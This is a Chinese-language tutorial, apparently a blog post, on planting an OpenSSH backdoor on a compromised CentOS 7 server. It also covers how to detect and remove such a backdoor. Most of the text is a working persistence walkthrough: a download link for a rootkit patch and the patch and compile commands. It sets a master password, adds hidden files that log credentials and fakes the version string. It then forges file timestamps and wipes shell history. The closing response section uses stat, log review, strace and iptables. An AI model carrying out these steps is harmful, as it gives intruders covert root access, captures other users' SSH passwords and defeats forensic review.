目录
1. Openssh与后门介绍
1.1 Openssh介绍
1.2 Openssh后门介绍
2. 实战演练
2.1 查看版本,注意V是大写的
2.2 下载SSH配置文件
2.3 安装
2.4、修改后⻔密码和⽂件记录
2.5、修改版本号为原本的版本号(伪装openssh)
2.6、修改/etc/ssh中的key
2.7、安装所需环境与配置源
2.8、伪造文件时间属性(访问和修改时间)
2.9、重启服务
2.10、验证是否好用
2.11.后门痕迹清除
3.应急响应与加固
3.1 应急响应
3.1.1查看ssh配置文件和/usr/sbin/sshd的时间
3.1.2 查看安全登录成功的ssh日志
3.1.3 strace监控sshd进程读写文件的操作
3.2 防御加固
3.2.1 重装openssh,更新到最新版本
3.2.2 将SSH默认端口改为其他端口
3.2.3 IPTable中添加SSH访问策略
1. Openssh与后门介绍
当拿到root权限后,一般需要维持权限(留后门),可以创建一个openssh后门,也就是root双密码,管理员一个密码,我们的后门一个密码。下面是对Openssh与Openssh后门的介绍:
1.1 Openssh介绍
OpenSSH 是 SSH(Secure Shell)协议的免费开源实现,它用于安全远程连接和计算机管理,通过加密技术保障通信安全。OpenSSH 的主要功能包括远程登录、命令执行、文件传输和端口转发等。它包含客户端和服务器两部分,客户端用于连接远程服务器,而服务器则在远程服务器上运行,接受客户端的连接请求。OpenSSH 最初是为 Linux 系统开发的,但现在也支持包括 Windows 和 macOS 在内的多种操作系统。
1.2 Openssh后门介绍
是指在获取了系统权限后,攻击者通过修改或更新 OpenSSH 代码,截取并保存 SSH 登录账号和密码,或者留下一个隐形的后门,以达到长期控制服务器的目的。这种后门难以检测,因为它通常隐藏在正常的 SSH 服务之中,使得攻击者可以在不被发现的情况下访问系统。
2. 实战演练
本次测试的镜像环境为:Centos7系统
2.1 查看版本,注意V是大写的
ssh -V

可以对ssh备份配置文件,可以对后期的文件时间进行修改,这里直接复制粘贴就行了,就是复制config文件,复制为备份
cp -p /etc/ssh/ssh_config /etc/ssh/ssh_config.bak
cp -p /etc/ssh/sshd_config /etc/ssh/sshd_config.bak

2.2 下载SSH配置文件
此处需要准备下面两个文件来完成
官网:http://www.openssh.com/
openssh-5.9p1.tar.gz (注意不要下载没有p1的文件,适配系统不同,下载错误后,后续打补丁会失败) openssh-5.9p1.patch.tar.gz
这里有个坑点:
-
openssh-9.0.tar.gz(适用于BSD)
-
openssh-9.0p1.tar.gz(适用于Linxu)我们使用的Centos7是linux的
# 通过阿里镜像站进行下载
https://mirrors.aliyun.com/openssh/portable/openssh-5.9p1.tar.gz
# 后门文件下载地址
http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

2.3 安装
上传方法:中国蚁剑,远控工具Xshell,FinalShell工具等
这里我链接使用使用的是SSH远程连接,这里我是使用管理员进行连接,然后将文件上传到桌面


# 输入命令依次解压
tar -zxvf openssh-5.9p1.tar.gz
tar -zxvf openssh-5.9p1.patch.tar.gz

将openssh-5.9p1.patch中的sshbd5.9p1.diff(后门文件)复制到openssh-5.9p1中
# 这里可以通过远控工具手动复制过去,也可通过命令对应文件复制过去
cp ./openssh-5.9p1.patch/sshbd5.9p1.diff ./openssh-5.9p1/sshbd5.9p1.diff
如果没有安装path的话,通过下面的命令进行安装
yum -y install patch
在openssh-5.9p1中执行打补丁(其实)
patch < sshbd5.9p1.diff

2.4、修改后⻔密码和⽂件记录
可以修改后门密码和记录文件,文件前面加 .相当于隐藏文件,也可以修改个隐蔽目录
在openssh-5.9p1中执行下面的操作,当然用远控工具的话,直接打开文件修改更方便
# 1、编辑includes
vi includes.h
# 2、修改ILOG,OLOG,SECRETPW(这部分在文件的末尾,直接修改下面的#部分)
int secret_ok;
FILE *f;
#define ILOG "/tmp/.ilog" # 记录登录到本机的登录凭证(可以改为较为隐蔽的路径,此例在tmp下创建隐藏文件)
#define OLOG "/tmp/.olog" # 记录本机登录到远程的的登录凭证
#define SECRETPW "xiaoyu" # 远程连接密码
#endif /* INCLUDES_H */

修改前

修改后,当然实战操作的时候,注释别加容易被识别出来
注意下面不要将 #后的注释内容加进去,不然会在编译时出现报错


2.5、修改版本号为原本的版本号(伪装openssh)
原则:修改为与我们刚才查看的版本信息一致,使其不易被发现。
ssh -V

vi version.h
# 修改为当前OpenSSH的版本号
#define SSH_VERSION "OpenSSH_7.4p1"
#define SSH_PORTABLE "p1"
修改如图所示的版本信息,修改前

修改后

2.6、修改/etc/ssh中的key
对/etc/ssh⾥⾯的⼏个key的权限进⾏修改,否则进⾏编译的时候会因为key不能修改⽽报错。
chmod 620 moduli
chmod 600 /etc/ssh/ssh_host_ed25519_key
chmod 600 /etc/ssh/ssh_host_ecdsa_key
chmod 600 /etc/ssh/ssh_host_rsa_key

2.7、安装所需环境与配置源
# 切换到安装文件所在路径
cd /root/桌面/openssh-5.9p1
# 在进行依赖安装之前,需要进行源的更换的
# 必备依赖刷一波,避免编译时出现各种坑爹问题
yum install -y openssl openssl-devel pam-devel
# 执行预编译
./configure --prefix=/usr --sysconfdir=/etc/ssh、make && make install
在安装必备依赖前需要更换的源为国内源,不然安装依赖会报错的
直接在系统中创建一个shell文件(choise-yuan.sh),然后通过增加运行权限
chmod +x choise-yuan.sh
./choise-yuan.sh # 执行shell

#!/bin/bash
# 定义颜色
RED='\033[0;31m'
GREEN='\033[0;32m'
BLUE='\033[0;34m'
NC='\033[0m' # 无颜色
# 定义YUM源选项
echo -e "${BLUE}请选择要更换的YUM源(默认使用阿里源):${NC}"
echo -e "${BLUE}1) 阿里YUM源: http://mirrors.aliyun.com/repo/${NC}"
echo -e "${BLUE}2) 163(网易)YUM源: http://mirrors.163.com/.help/${NC}"
echo -e "${BLUE}3) 中科大Linux安装镜像源: http://centos.ustc.edu.cn/${NC}"
echo -e "${BLUE}4) 搜狐的Linux安装镜像源: http://mirrors.sohu.com/${NC}"
echo -e "${BLUE}5) 北京首都在线科技: http://mirrors.yun-idc.com/${NC}"
read -p "请输入选项 [1-5] (默认1): " choice
# 根据选择设置URL
case $choice in
2)
repo_url="http://mirrors.163.com/.help/CentOS7-Base-163.repo"
;;
3)
repo_url="http://centos.ustc.edu.cn/CentOS-Base.repo"
;;
4)
repo_url="http://mirrors.sohu.com/help/CentOS-Base-sohu.repo"
;;
5)
repo_url="http://mirrors.yun-idc.com/CentOS-Base.repo"
;;
*)
repo_url="http://mirrors.aliyun.com/repo/Centos-7.repo"
;;
esac
# 备份当前的YUM源配置文件
if [ -f /etc/yum.repos.d/CentOS-Base.repo ]; then
sudo cp /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.bak
echo -e "${GREEN}已备份当前的YUM源配置文件到 /etc/yum.repos.d/CentOS-Base.repo.bak${NC}"
else
echo -e "${RED}未找到 /etc/yum.repos.d/CentOS-Base.repo 文件,跳过备份步骤${NC}"
fi
# 下载选定的YUM源配置文件
sudo wget -O /etc/yum.repos.d/CentOS-Base.repo $repo_url
if [ $? -eq 0 ]; then
echo -e "${GREEN}成功下载选定的YUM源配置文件${NC}"
else
echo -e "${RED}下载选定的YUM源配置文件失败,请检查网络连接${NC}"
exit 1
fi
# 清除YUM缓存并生成新的缓存
sudo yum clean all
sudo yum makecache
# 验证新的YUM源配置是否成功
sudo yum repolist -y
if [ $? -eq 0 ]; then
echo -e "${GREEN}新的YUM源配置成功${NC}"
else
echo -e "${RED}新的YUM源配置失败,请检查YUM源配置文件${NC}"
exit 1
fi
# 下载并配置EPEL源
sudo wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo
if [ $? -eq 0 ]; then
echo -e "${GREEN}成功下载并配置EPEL源${NC}"
else
echo -e "${RED}下载EPEL源失败,请检查网络连接${NC}"
exit 1
fi
echo -e "${GREEN}YUM源更换并配置EPEL源成功${NC}"
# 提示用户是否需要进行系统更新
read -p "是否需要进行系统更新(默认不更新)?[y/N]: " update_choice
if [[ "$update_choice" =~ ^[Yy]$ ]]; then
sudo yum upgrade -y
if [ $? -eq 0 ]; then
echo -e "${GREEN}依赖包更新成功${NC}"
else
echo -e "${RED}依赖包更新失败${NC}"
fi
else
echo -e "${GREEN}跳过系统更新${NC}"
fi

预编译操作

出现下面的秘钥就是成功了

2.8、伪造文件时间属性(访问和修改时间)
(这部可加不可加,实战情况下加了更难进行排查)
# 将前面文件的时间属性改为后面的文件属性
touch -r /etc/ssh/moduli /etc/ssh.bak/moduli
touch -r /etc/ssh/ssh_config /etc/ssh.bak/ssh_config
touch -r /etc/ssh/sshd_config /etc/ssh.bak/sshd_config
touch -r /etc/ssh/ssh_host_dsa_key /etc/ssh.bak/ssh_host_dsa_key
touch -r /etc/ssh/ssh_host_dsa_key.pub /etc/ssh.bak/ssh_host_dsa_key.pub
touch -r /etc/ssh/ssh_host_ecdsa_key /etc/ssh.bak/ssh_host_ecdsa_key
touch -r /etc/ssh/ssh_host_ecdsa_key.pub /etc/ssh.bak/ssh_host_ecdsa_key.pub
touch -r /etc/ssh/ssh_host_ed25519_key /etc/ssh.bak/ssh_host_ed25519_key
touch -r /etc/ssh/ssh_host_ed25519_key.pub /etc/ssh.bak/ssh_host_ed25519_key.pub
touch -r /etc/ssh/ssh_host_rsa_key /etc/ssh.bak/ssh_host_rsa_key
touch -r /etc/ssh/ssh_host_rsa_key.pub /etc/ssh.bak/ssh_host_rsa_key.pub
touch -r /usr/sbin/sshd /usr/sbin/sshd.bak
touch -r /usr/sbin/sshd-keygen /usr/sbin/sshd-keygen.bak
2.9、重启服务
systemctl restart sshd.service
如果出现运行命令后卡主了,也不用管,直接Ctrl+C终止就可以了
2.10、验证是否好用
后门密码登录,这里通过finalShell进行远程链接

或者通过ssh连接 ssh root@192.168.10.15 然后输入后门密码xiaoyu就成功了
但是这里我发了一个这个后门的问题,通过直接登录是可以通过root用户登录的,但是通过ssh远程连接时,通过ssh远程链接的话是无法连接的
2.11.后门痕迹清除
touch -r 老文件时间戳 新文件时间戳
touch -r /etc/ssh/ssh_config.bak / etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.bak / etc/ssh/sshd_config
伪造文件时间属性
# 将前面文件的时间属性改为后面的文件属性
touch -r /etc/ssh/moduli /etc/ssh.bak/moduli
touch -r /etc/ssh/ssh_config /etc/ssh.bak/ssh_config
touch -r /etc/ssh/sshd_config /etc/ssh.bak/sshd_config
touch -r /etc/ssh/ssh_host_dsa_key /etc/ssh.bak/ssh_host_dsa_key
touch -r /etc/ssh/ssh_host_dsa_key.pub /etc/ssh.bak/ssh_host_dsa_key.pub
touch -r /etc/ssh/ssh_host_ecdsa_key /etc/ssh.bak/ssh_host_ecdsa_key
touch -r /etc/ssh/ssh_host_ecdsa_key.pub /etc/ssh.bak/ssh_host_ecdsa_key.pub
touch -r /etc/ssh/ssh_host_ed25519_key /etc/ssh.bak/ssh_host_ed25519_key
touch -r /etc/ssh/ssh_host_ed25519_key.pub /etc/ssh.bak/ssh_host_ed25519_key.pub
touch -r /etc/ssh/ssh_host_rsa_key /etc/ssh.bak/ssh_host_rsa_key
touch -r /etc/ssh/ssh_host_rsa_key.pub /etc/ssh.bak/ssh_host_rsa_key.pub
touch -r /usr/sbin/sshd /usr/sbin/sshd.bak
touch -r /usr/sbin/sshd-keygen /usr/sbin/sshd-keygen.bak
清除操作日志
echo >/root/.bash_history //清空操作日志
# 同时不要忘了.log相关的记录日志的信息的文件也清除
3.应急响应与加固
这里用我配置好的镜像环境为例,如何去应急和解决后门的问题,首先这里我用finalshell远程连接工具通过后门进行连接,方便后续的观察,后门密码为xiaoyu

3.1 应急响应
如果已知为openssh后门的话,那基本上就是去重点观察整个openssh后门过程中修改的文件就可以了,如果不知道的话,也可以围绕着这个过程去进行应急响应
3.1.1查看ssh配置文件和/usr/sbin/sshd的时间
重点检查文件其权限和修改时间,看是否有任何异常。如果 `sshd` 的修改时间与系统更新或维护时间不符,说明存在被未授权的的改动了
# 用于显示关于文件或文件系统的状态的详细信息
stat /usr/sbin/sshd
# 详细信息分别代表什么
文件大小:显示文件的总大小。
块大小:文件系统分配给文件的块的大小。
总块数:文件占用的块数量。
inode 号:文件的索引节点(inode)编号,每个文件在文件系统中都有一个唯一的 inode。
权限:显示文件的权限,例如是否可读、可写、可执行。
所有者和组:文件的所有者和所属组。
最后修改时间:文件内容上次被修改的时间。
最后访问时间:文件上次被访问的时间。
最后状态改变时间:文件的元数据(如权限或所有权)上次被修改的时间。

当然除了时间的话还是不能够狠明显的判别的,因为就像前面的写的创建后门那样,攻击者可能会进行伪造文件的属性,这样就无法判别了,这时候我们就需要通过查看被常见修改的ssh配置文件以及配置文件的修改时间,或者查看攻击者是否有遗留的补丁或是文件
# 这里可以通过查看以下文件的最后一次被修改的时间
# 因为在后门文件编译过程中,如果对下面的文件进行权限的改动的话,基本确定为Openssh后门了
stat /etc/ssh/sshd_config
cat /etc/ssh/sshd_config
stat /etc/ssh/ssh_host_ed25519_key
stat /etc/ssh/ssh_host_rsa_key
stat /etc/ssh/ssh_host_ed25519_key
# 重点查看下面的文件,是否有没有被修改过,修改了什么
stat /root/桌面/openssh-5.9p1/includes.h
cat includes.h
stat /etc/ssh/sshd_config

cat /etc/ssh/sshd_config

stat /etc/ssh/sshhosted25519_key
stat /etc/ssh/sshhostrsa_key
stat /etc/ssh/sshhosted25519_key

这个文件需要找到安装openssh文件的位置进行查看,文件状态
stat /root/桌面/openssh-5.9p1/includes.h

cat /root/桌面/openssh-5.9p1/includes.h
openssh后门信息一般在文件的末尾写着

3.1.2 查看安全登录成功的ssh日志
# more的命令和cat类似都是查看文件,但是more是一行一行展示
# grep Accepted:grep是一个文本搜索工具,用于搜索包含指定模式的行。用它来搜索包含"Accepted"这个词的行。
# |:这是管道符,它将前一个命令的输出作为后一个命令的输入。
# "Accepted"通常出现在SSH服务成功认证并接受用户登录时的日志记录中,下面这个命令是用来查看所有成功的SSH登录尝试。
# 将每一行进行查看,并传入后面的过滤器中,最后将需要的成功登录的展示出来
more /var/log/secure | grep Accepted
通过这条命令,可以进行查看可以登录的用户者的ip及其他信息,当然也有可能被攻击者清除日志
通过排查可疑ip与账号

3.1.3 strace监控sshd进程读写文件的操作
通过strace监控sshd进程读写文件的操作,跟据前面的操作我们知道一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。
通过下面的图片所示,存在一个可疑进程
ps axu | grep sshd | grep -v grep
# ps axu:这是一个进程状态(ps)命令的变体,用于显示当前运行的进程信息。(查找隐藏的jianc)
a 表示显示所有与终端会话无关的进程。
x 表示显示没有控制终端的进程。
u 表示以用户易读的格式显示进程信息,包括用户、PID、CPU占用率、内存占用率等。
|:管道符,它将前一个命令的输出作为后一个命令的输入。(就是将查找到的结果传输给下一条命令)
grep sshd:grep 进行过滤,查找存在sshd关键词的进程 查找与SSH守护进程相关的进程
grep -v grep:用于排除包含"grep"这个词的行。-v选项告诉grep命令反向选择,即排除匹配的行。这样做的目的是排除搜索结果中包含grep命令本身的行,因为当我们使用grep搜索"sshd"时,命令行本身也会包含"sshd"。 其实就是排查我们当前进行搜索的这条命令,因为当前操作也算含有sshd这个关键词的

strace -f -F -p 2171 -t -e trace=read,write -s 32 2> /root/桌面/sshd.log
# 通过strace进行跟踪ssh登录密码文件,通过运行下面的命令,然后命令行会卡主,等一会,然后自行Ctrl+C断开
2171 是可疑进程的进程号
/root/桌面/sshd.log 这个根据个人可以替换
其中 -f 表示跟踪由 fork 调用产生的子进程,-F 表示跟踪 vfork 调用,-t 在输出中的每一行前加上时间信息,-e trace=read,write 表示只跟踪 read 和 write 系统调用,-s 32 设置字符串跟踪的最大长度。
# 这里的命令匹配值需要根据具体的情况进行更改
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /root/桌面/sshd.log
grep -E 'write\(6, ".+' /root/桌面/sshd.log
登录尝试完成后,检查 /tmp/sshd.log 文件,使用 grep 命令筛选出包含密码的行。
命令会搜索所有 read 系统调用,其中包含密码数据(通常密码会在内存中以 null 字符终止)。
命令会显示所有 write 系统调用的记录,但不会过滤或特定于密码输入。在实际的 sshd 日志中,密码输入通常不会以明文形式出现

![]()
根据上面的一些操作基本确认为openssh后门
3.2 防御加固
知道为openssh后门后,根据前面对后门的部署,我们知道其实就是对openssh打后门补丁,
3.2.1 重装openssh,更新到最新版本
只要将openssh对应的文件进行更新或是重装就可以了
3.2.2 将SSH默认端口改为其他端口
这个也是相同的原理,将端口改变后,原端口的连接会失效
3.2.3 IPTable中添加SSH访问策略
IPTable 策略是一组规则,用于配置 Linux 内核的 Netfilter 防火墙,它控制着进出 Linux 系统的数据包。IPTable 策略定义了如何处理网络流量,包括允许、拒绝或修改数据包的行为。这些策略对于维护系统的网络安全至关重要,因为它们可以限制未经授权的访问、防止网络攻击和确保数据传输的安全。
下面是一些可以参考的配置访问策略的操作,仅供参考,如果需要进行配置的话,还是需要你自己进一步学习操作的
# 1.允许本地回环接口:应该允许本地回环接口(lo)的流量,以确保本地服务的正常运行。
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# 2.设置默认策略:通常建议将默认的链策略设置为 DROP,这意味着除非明确允许,否则所有流量都将被拒绝。
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
# 3.允许已建立的和相关的连接:允许已建立的连接和相关的连接,以确保正在进行的通信不受影响。
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# 4.允许 SSH 连接:允许特定 IP 地址或地址范围通过 SSH 端口(默认为 22)进行连接。你可以指定单个 IP 地址或使用子网掩码来指定一个 IP 范围。
iptables -A INPUT -p tcp --dport 22 -s 允许的IP地址 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -s 允许的IP范围/子网掩码 -j ACCEPT
# 5.拒绝其他 SSH 连接:在允许特定 IP 地址之后,可以添加一条规则来拒绝所有其他未授权的 SSH 连接。
iptables -A INPUT -p tcp --dport 22 -j DROP
# 6.允许外出 SSH 连接:如果你的服务器需要主动发起 SSH 连接到其他服务器,你还需要允许从服务器出去的 SSH 连接。
iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT
# 7.保存 IPTable 规则:在 Debian 系的系统上,你可以使用 iptables-persistent 包来保存规则,使其在重启后依然有效。
sudo apt-get install iptables-persistent
sudo netfilter-persistent save
# 8.日志记录:为了安全审计和监控,你可以将可疑的 SSH 连接尝试记录到日志文件中。
iptables -A INPUT -p tcp --dport 22 -j LOG --log-prefix "SSH login attempt: "
# 9.备份规则
iptables-save > /etc/iptables.backup



















